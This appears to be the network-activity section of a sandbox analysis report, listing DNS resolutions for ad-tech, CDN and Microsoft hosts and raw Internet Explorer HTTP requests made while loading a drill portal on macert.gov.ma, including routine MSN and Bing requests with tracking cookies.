dis.criteo.com [VT] A 178.250.2.76 [VT]
t.mookie1.com [VT] A 52.204.98.73 [VT]
CNAME xs2-1096111735.us-east-1.elb.amazonaws.com [VT]
A 34.197.160.212 [VT]
A 34.232.159.209 [VT]
A 52.21.215.79 [VT]
A 34.226.95.205 [VT]
A 34.225.236.175 [VT]
A 34.202.120.195 [VT]
A 34.238.20.173 [VT]
t.wayfair.com [VT] A 151.101.193.253 [VT]
A 151.101.129.253 [VT]
CNAME t.wayfair.map.fastly.net [VT]
A 151.101.1.253 [VT]
A 151.101.65.253 [VT]
e1.emxdgt.com [VT]
appnexus-partners.tremorhub.com [VT] CNAME partners-1732315393.us-east-1.elb.amazonaws.com [VT]
A 52.3.24.219 [VT]
A 34.233.214.90 [VT]
A 52.3.167.150 [VT]
A 35.168.109.209 [VT]
A 52.72.225.121 [VT]
A 52.201.165.246 [VT]
A 34.194.151.202 [VT]
A 34.236.123.105 [VT]
ad.360yield.com [VT] A 54.76.113.123 [VT]
A 52.31.137.171 [VT]
CNAME pool.tokyo.iponweb.net [VT]
A 52.211.149.64 [VT]
A 34.240.96.173 [VT]
A 52.49.164.138 [VT]
A 52.49.254.226 [VT]
A 52.48.121.18 [VT]
cm.adform.net [VT] A 37.157.6.246 [VT]
A 37.157.6.252 [VT]
A 37.157.2.236 [VT]
A 37.157.4.41 [VT]
A 37.157.4.23 [VT]
A 37.157.2.237 [VT]
CNAME track-eu.adformnet.akadns.net [VT]
b1sync.zemanta.com [VT] A 162.210.196.115 [VT]
A 207.244.121.137 [VT]
A 207.244.121.74 [VT]
A 207.244.66.112 [VT]
A 207.244.121.65 [VT]
A 207.244.110.3 [VT]
A 207.244.108.217 [VT]
A 207.244.94.20 [VT]
A 207.244.121.27 [VT]
A 162.210.197.137 [VT]
A 207.244.121.70 [VT]
A 207.244.67.98 [VT]
A 207.244.121.73 [VT]
A 108.59.4.173 [VT]
A 207.244.73.10 [VT]
A 108.59.4.172 [VT]
A 207.244.67.99 [VT]
A 108.59.0.8 [VT]
CNAME b1-lsw-use1.zemanta.com [VT]
A 207.244.76.83 [VT]
A 198.7.56.231 [VT]
A 108.59.0.12 [VT]
A 162.210.196.116 [VT]
A 108.59.4.171 [VT]
A 198.7.56.229 [VT]
A 207.244.121.25 [VT]
A 162.210.199.69 [VT]
tpc.googlesyndication.com [VT] A 108.177.15.132 [VT]
CNAME pagead-googlehosted.l.google.com [VT]
s0.2mdn.net [VT] CNAME s0-2mdn-net.l.google.com [VT]
A 108.177.15.148 [VT]
A 108.177.15.149 [VT]
pixel.tapad.com [VT] A 35.227.197.177 [VT]
sync-tm.everesttech.net [VT] CNAME syncf.tubemogul.com [VT]
A 151.101.66.49 [VT]
CNAME h2.shared.global.fastly.net [VT]
CNAME sync.tubemogul.com [VT]
A 151.101.194.49 [VT]
A 151.101.130.49 [VT]
A 151.101.2.49 [VT]
ad.turn.com [VT] CNAME ad.turn.com.akadns.net [VT]
A 46.228.164.11 [VT]
dsum.casalemedia.com [VT] CNAME dsum.casalemedia.com.edgekey.net [VT]
ads.stickyadstv.com [VT] CNAME stickyadstv.com.edgekey.net [VT]
CNAME cidr1.ads.stickyadstv.com.akadns.net [VT]
CNAME ip1.ads.stickyadstv.com.akadns.net [VT]
A 23.208.79.40 [VT]
CNAME e11676.b.akamaiedge.net [VT]
pixel.advertising.com [VT] A 35.157.225.240 [VT]
A 35.158.28.206 [VT]
A 52.28.80.243 [VT]
A 52.29.202.17 [VT]
A 52.58.163.163 [VT]
A 52.57.66.70 [VT]
A 52.29.181.180 [VT]
A 35.157.38.246 [VT]
CNAME dmp-pixel.aolp-prd.public.aol.com [VT]
pm.w55c.net [VT] CNAME dxedge-prod-lb-404808087.eu-central-1.elb.amazonaws.com [VT]
A 18.194.197.149 [VT]
A 18.185.199.28 [VT]
A 35.156.105.90 [VT]
A 18.195.135.198 [VT]
A 18.196.45.133 [VT]
A 52.28.91.161 [VT]
A 18.196.44.198 [VT]
A 35.156.104.99 [VT]
e.nexac.com [VT] CNAME reach-redirect-service-alb-1568243832.us-west-2.elb.amazonaws.com [VT]
A 54.201.13.5 [VT]
A 34.210.167.24 [VT]
A 35.165.123.51 [VT]
CNAME gtm02.nexac.com [VT]
A 54.187.216.36 [VT]
A 54.186.134.237 [VT]
A 54.71.175.165 [VT]
A 54.186.212.199 [VT]
A 52.40.84.85 [VT]
rtb-csync.smartadserver.com [VT] A 185.86.137.17 [VT]
CNAME 2-01-275d-0017.cdx.cedexis.net [VT]
CNAME geoced.smartadserver.com [VT]
CNAME eqx.smartadserver.com [VT]
A 185.86.137.43 [VT]
A 185.86.137.42 [VT]
A 185.86.137.32 [VT]
sync.teads.tv [VT] A 52.212.38.123 [VT]
A 52.213.171.180 [VT]
A 52.209.50.117 [VT]
A 54.194.62.228 [VT]
A 54.77.40.196 [VT]
A 52.212.249.193 [VT]
A 52.19.209.34 [VT]
A 54.76.26.3 [VT]
x.dlx.addthis.com [VT] A 52.88.207.133 [VT]
CNAME gtm13.nexac.com [VT]
A 54.244.29.74 [VT]
A 54.148.67.34 [VT]
A 52.37.199.102 [VT]
A 54.213.201.234 [VT]
A 52.32.245.221 [VT]
CNAME reach-tag-sync-service-alb-1566477274.us-west-2.elb.amazonaws.com [VT]
images9.engageya.com [VT] CNAME e15247.dscg.akamaiedge.net [VT]
A 104.126.91.245 [VT]
CNAME images9.edgekey.net [VT]
tracking.m6r.eu [VT] CNAME e9040.f.akamaiedge.net [VT]
A 2.19.17.14 [VT]
CNAME tracking.m6r.eu.edgekey.net [VT]
b.scorecardresearch.com [VT] CNAME a1294.w20.akamai.net [VT]
CNAME b.scorecardresearch.com.edgesuite.net [VT]
A 105.73.6.104 [VT]
c1.adform.net [VT] CNAME track.adformnet.akadns.net [VT]
A 37.157.4.39 [VT]
A 37.157.2.235 [VT]
A 37.157.2.234 [VT]
A 37.157.4.40 [VT]
A 37.157.6.245 [VT]
A 37.157.6.251 [VT]
ecn.dev.virtualearth.net [VT] CNAME ssl2.tiles.virtualearth.net.edgekey.net [VT]
A 23.210.38.39 [VT]
CNAME e4113.g.akamaiedge.net [VT]
recs.engageya.com [VT] A 95.142.20.17 [VT]
s.thebrighttag.com [VT] A 54.228.243.159 [VT]
A 52.30.5.88 [VT]
A 54.195.251.142 [VT]
CNAME td.thebrighttag.com [VT]
A 54.228.243.156 [VT]
jadserve.postrelease.com [VT] CNAME jadserve.postrelease.com.akadns.net [VT]
A 34.243.105.152 [VT]
A 52.214.169.142 [VT]
dh.serving-sys.com [VT] CNAME dmp-eupro-haproxyd-16fgltvm0s4xx-617771131.eu-central-1.elb.amazonaws.com [VT]
A 18.196.13.239 [VT]
A 52.58.163.2 [VT]
CNAME haproxy-dmp-euprodfr.sizmdx.com [VT]
A 18.194.238.219 [VT]
A 18.196.116.174 [VT]
prod.y-medialink.com [VT] A 35.186.202.217 [VT]
ads.yahoo.com [VT] A 217.12.15.83 [VT]
CNAME fo-fd-world-new.yax.gysm.yahoodns.net [VT]
A 217.12.15.54 [VT]
pixel-sync.sitescout.com [VT] A 66.155.71.189 [VT]
CNAME pixel-a.sitescout.com [VT]
mpp.vindicosuite.com [VT] A 35.186.236.204 [VT]
sy.eu.angsrvr.com [VT] CNAME adsync2018012915481112110000000c-143193926.eu-west-1.elb.amazonaws.com [VT]
A 54.77.178.18 [VT]
A 52.31.246.215 [VT]
A 54.72.161.162 [VT]
A 54.77.10.204 [VT]
t.a3cloud.net [VT] CNAME d386jaag4hn9zl.cloudfront.net [VT]
A 54.240.186.129 [VT]
www.google.com [VT] A 64.233.167.104 [VT]
A 64.233.167.105 [VT]
A 64.233.167.147 [VT]
A 64.233.167.106 [VT]
A 64.233.167.99 [VT]
A 64.233.167.103 [VT]
pixel.everesttech.net [VT] A 66.117.28.68 [VT]
CNAME tp00.everesttech.net.akadns.net [VT]
acquisition-tracker.wix.com [VT] CNAME ghs.googlehosted.com [VT]
A 108.177.15.121 [VT]
googlecm.hit.gemius.pl [VT] A 217.182.200.19 [VT]
A 54.38.193.173 [VT]
A 79.137.69.120 [VT]
A 54.38.193.161 [VT]
A 217.182.200.41 [VT]
A 79.137.68.187 [VT]
A 54.38.193.101 [VT]
A 217.182.200.29 [VT]
A 54.38.193.172 [VT]
A 79.137.69.91 [VT]
A 217.182.200.20 [VT]
A 217.182.201.168 [VT]
rtbcc.fyber.com [VT] CNAME e3972.dscg.akamaiedge.net [VT]
CNAME rtbcc.fyber.com.edgekey.net [VT]
A 23.210.39.143 [VT]
fcmatch.google.com [VT]
fcmatch.youtube.com [VT]
fra1-ib.adnxs.com [VT] A 37.252.172.27 [VT]
A 37.252.172.53 [VT]
A 37.252.172.42 [VT]
A 37.252.172.12 [VT]
A 37.252.172.39 [VT]
A 37.252.172.80 [VT]
A 37.252.172.70 [VT]
A 37.252.172.40 [VT]
sam.msn.com [VT] CNAME www.msn.com [VT]
CNAME a-0003.dc-msedge.net [VT]
CNAME icePrime.a-0003.dc-msedge.net [VT]
A 131.253.33.203 [VT]
sync.1rx.io [VT] A 8.41.222.241 [VT]
ocsp.globalsign.com [VT] A 104.18.21.226 [VT]
CNAME global.prd.cdn.globalsign.com [VT]
CNAME cdn.globalsigncdn.com.cdn.cloudflare.net [VT]
A 104.18.20.226 [VT]
pixel.s3xified.com [VT] A 67.231.251.190 [VT]
match.sync.ad.cpe.dotomi.com [VT] CNAME ams02-convex.dotomi.com [VT]
A 64.158.223.146 [VT]
CNAME cpe.us.dotomi.weighted.com.akadns.net [VT]
CNAME cpe.eu.ams.dotomi.weighted.com.akadns.net [VT]
sync.jivox.com [VT] A 50.19.112.124 [VT]
A 54.235.99.202 [VT]
tg.socdm.com [VT] A 14.128.26.213 [VT]
A 202.241.208.53 [VT]
A 14.128.26.212 [VT]
A 202.241.208.52 [VT]
CNAME tg3.dr.socdm.com [VT]
A 14.128.26.215 [VT]
A 14.128.26.214 [VT]
A 14.128.26.216 [VT]
A 202.241.208.56 [VT]
A 202.241.208.55 [VT]
A 202.241.208.54 [VT]
d.turn.com [VT] CNAME d.turn.com.akadns.net [VT]
A 46.228.164.13 [VT]
vop.sundaysky.com [VT] A 52.5.233.114 [VT]
A 52.0.186.248 [VT]
A 34.206.173.21 [VT]
A 34.203.120.138 [VT]
A 34.234.250.144 [VT]
CNAME vop-tracking-vpc-1741893498.us-east-1.elb.amazonaws.com [VT]
A 52.54.179.213 [VT]
A 52.5.131.6 [VT]
A 34.231.168.237 [VT]
uipglob.semasio.net [VT] CNAME uipglob.trafficmanager.net [VT]
A 77.66.11.200 [VT]
CNAME uip.semasio.net [VT]
gocm.c.appier.net [VT] A 139.162.41.250 [VT]
A 139.162.61.54 [VT]
A 172.104.160.164 [VT]
A 139.162.56.194 [VT]
A 139.162.22.113 [VT]
A 139.162.11.86 [VT]
A 139.162.40.246 [VT]
A 139.162.37.98 [VT]
A 139.162.9.91 [VT]
A 172.104.180.146 [VT]
A 139.162.30.99 [VT]
A 172.104.168.143 [VT]
A 139.162.49.205 [VT]
A 172.104.169.141 [VT]
A 139.162.62.56 [VT]
A 172.104.52.35 [VT]
A 139.162.19.41 [VT]
anp.valassisdigital.io [VT] A 204.2.255.240 [VT]
a248.e.akamai.net [VT] A 2.20.44.155 [VT]
A 92.122.241.211 [VT]
aa.agkn.com [VT] A 54.65.120.202 [VT]
A 52.198.56.90 [VT]
A 54.64.180.26 [VT]
CNAME aa-agkn-com-https-51506257.ap-northeast-1.elb.amazonaws.com [VT]
A 52.69.242.75 [VT]
A 54.199.137.223 [VT]
A 13.113.103.200 [VT]
global.ib-ibi.com [VT] A 216.46.185.183 [VT]
www.google-analytics.com [VT] CNAME www-google-analytics.l.google.com [VT]
d.agkn.com [VT] A 52.51.101.246 [VT]
A 52.208.88.219 [VT]
A 54.76.8.53 [VT]
A 34.249.187.31 [VT]
CNAME data.agkn.com [VT]
A 52.31.188.95 [VT]
CNAME tag-terraform-elb-253521921.eu-west-1.elb.amazonaws.com [VT]
A 54.171.47.36 [VT]
A 52.18.250.145 [VT]
A 52.214.12.233 [VT]
ocsp.digicert.com [VT] A 93.184.220.29 [VT]
CNAME cs9.wac.phicdn.net [VT]
status.rapidssl.com [VT] CNAME ocsp.digicert.com [VT]
ssum-sec.casalemedia.com [VT] CNAME ssum-sec.casalemedia.com.edgekey.net [VT]
bh.contextweb.com [VT] A 151.101.64.166 [VT]
A 151.101.192.166 [VT]
A 151.101.128.166 [VT]
A 151.101.0.166 [VT]
CNAME prod.contextweb.map.fastlylb.net [VT]
sync.bumlam.com [VT] A 31.172.81.159 [VT]
A 31.172.81.158 [VT]
A 31.172.81.160 [VT]
A 31.172.81.172 [VT]
bid.socdm.com [VT] A 202.241.208.3 [VT]
A 202.241.208.4 [VT]
A 14.128.26.202 [VT]
CNAME bid2.dr.socdm.com [VT]
A 202.241.208.2 [VT]
www.facebook.com [VT] A 31.13.75.36 [VT]
CNAME star-mini.c10r.facebook.com [VT]
magnetic.t.domdex.com [VT] CNAME ec2-34-245-125-242.eu-west-1.compute.amazonaws.com [VT]
CNAME gdpr-nginx001.eu-west-1.mgnt.cc [VT]
A 34.245.125.242 [VT]
dmp.truoptik.com [VT] A 104.16.91.60 [VT]
A 104.16.92.60 [VT]
px.powerlinks.com [VT] A 34.255.153.52 [VT]
A 34.253.62.229 [VT]
A 34.249.185.202 [VT]
A 52.209.1.74 [VT]
A 52.212.162.244 [VT]
A 34.252.188.147 [VT]
A 54.194.234.200 [VT]
A 54.229.166.87 [VT]
sync.ad-stir.com [VT] A 52.85.51.101 [VT]
A 52.85.51.55 [VT]
A 52.85.51.87 [VT]
A 52.85.51.135 [VT]
prebid.adnxs.com [VT] CNAME prebid.appnexusgslb.net [VT]
A 37.252.161.184 [VT]
tags.bluekai.com [VT] CNAME tags.bluekai.com.edgekey.net [VT]
CNAME e13541.x.akamaiedge.net [VT]
A 23.60.196.160 [VT]
status.geotrust.com [VT]
mid.rkdms.com [VT] A 34.197.186.26 [VT]
A 54.86.103.64 [VT]
A 34.202.38.113 [VT]
A 107.23.66.0 [VT]
A 52.206.93.156 [VT]
A 23.20.1.13 [VT]
iecvlist.microsoft.com [VT] A 152.199.19.161 [VT]
CNAME cs9.wpc.v0cdn.net [VT]
CNAME ie9comview.vo.msecnd.net [VT]
sqm.telemetry.microsoft.com [VT] CNAME sqm.telemetry.microsoft.com.nsatc.net [VT]
A 65.55.252.93 [VT]
settings-win.data.microsoft.com [VT] CNAME asimov-win.settings.data.microsoft.com.akadns.net [VT]
CNAME geo.settings.data.microsoft.com.akadns.net [VT]
A 52.138.216.83 [VT]
CNAME db5.settings.data.microsoft.com.akadns.net [VT]
CNAME db5-eap.settings.data.microsoft.com.akadns.net [VT]

HTTP Requests

URI Data
http://portail.drill.macert.gov.ma/
GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "b50-579876a99c331-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/vendor/bootstrap/css/bootstrap.min.css
GET /vendor/bootstrap/css/bootstrap.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "22688-579876a9b78b6-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/vendor/fontawesome-free/css/all.min.css
GET /vendor/fontawesome-free/css/all.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "be09-579876a9b78b6-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/css/coming-soon.min.css
GET /css/coming-soon.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "c2e-579876a99c331-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/vendor/jquery/jquery.min.js
GET /vendor/jquery/jquery.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1538f-579876a9c2497-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/vendor/bootstrap/js/bootstrap.bundle.min.js
GET /vendor/bootstrap/js/bootstrap.bundle.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "11536-579876a9b78b6-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/js/coming-soon.min.js
GET /js/coming-soon.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "106-579876a99c331-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/vendor/fontawesome-free/webfonts/fa-brands-400.eot?
GET /vendor/fontawesome-free/webfonts/fa-brands-400.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1cf20-579876a9c14f7"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/mp4/bg.mp4
GET /mp4/bg.mp4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "6177b4-579876a99e271"
Accept: */*
Referer: http://portail.drill.macert.gov.ma/
GetContentFeatures.DLNA.ORG: 1
Pragma: getIfoFileURI.dlna.org
Accept-Language: fr-FR
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
DNT: 1
Connection: Keep-Alive

http://www.msn.com/ar-eg/homepage/api/pagedatarequest?moduleids=today%7Ctoday.Hero%2Cinfopane%7Cinfopane_a%2C&ocid=iehp&ver=20181027_12592070
GET /ar-eg/homepage/api/pagedatarequest?moduleids=today%7Ctoday.Hero%2Cinfopane%7Cinfopane_a%2C&ocid=iehp&ver=20181027_12592070 HTTP/1.1
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: www.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; ocid=iehp; _cb_ls=1; _cb=BxpdvuD1Une9GQiG4; _chartbeat2=.1538054409356.1541065733200.1000000000000001.DC-lvhGdCc8BxHYZwCUQCNkDMFno0.1; banner:northafricaredirect:lastseen=Thu, 01 Nov 2018 09:48:55 GMT; banner:northafricaredirect:count=2; timeZoneOffsetInMins=0; adoptout={"msaOptOut":0,"adIdOptOut":0}

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBP9B2i.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/BBP9B2i.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPc4Lw.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg&x=274&y=170
GET /img-resizer/tenant/amp/entityid/BBPc4Lw.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg&x=274&y=170 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://otf.msn.com/c.gif?
OPTIONS /c.gif? HTTP/1.1
Accept: */*
Origin: http://www.msn.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 0
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 671
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?8c191ebae948dc1f
GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?8c191ebae948dc1f HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Wed, 26 Sep 2018 21:02:41 GMT
If-None-Match: "80ae3f43dc55d41:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com

http://crl.pki.goog/GTSGIAG3.crl
GET /GTSGIAG3.crl HTTP/1.1
Cache-Control: max-age = 3600
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 01 Nov 2018 02:15:00 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.pki.goog

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Ft&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Ft&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fto&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fto&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2F&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2F&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmit.ph&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmit.ph&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
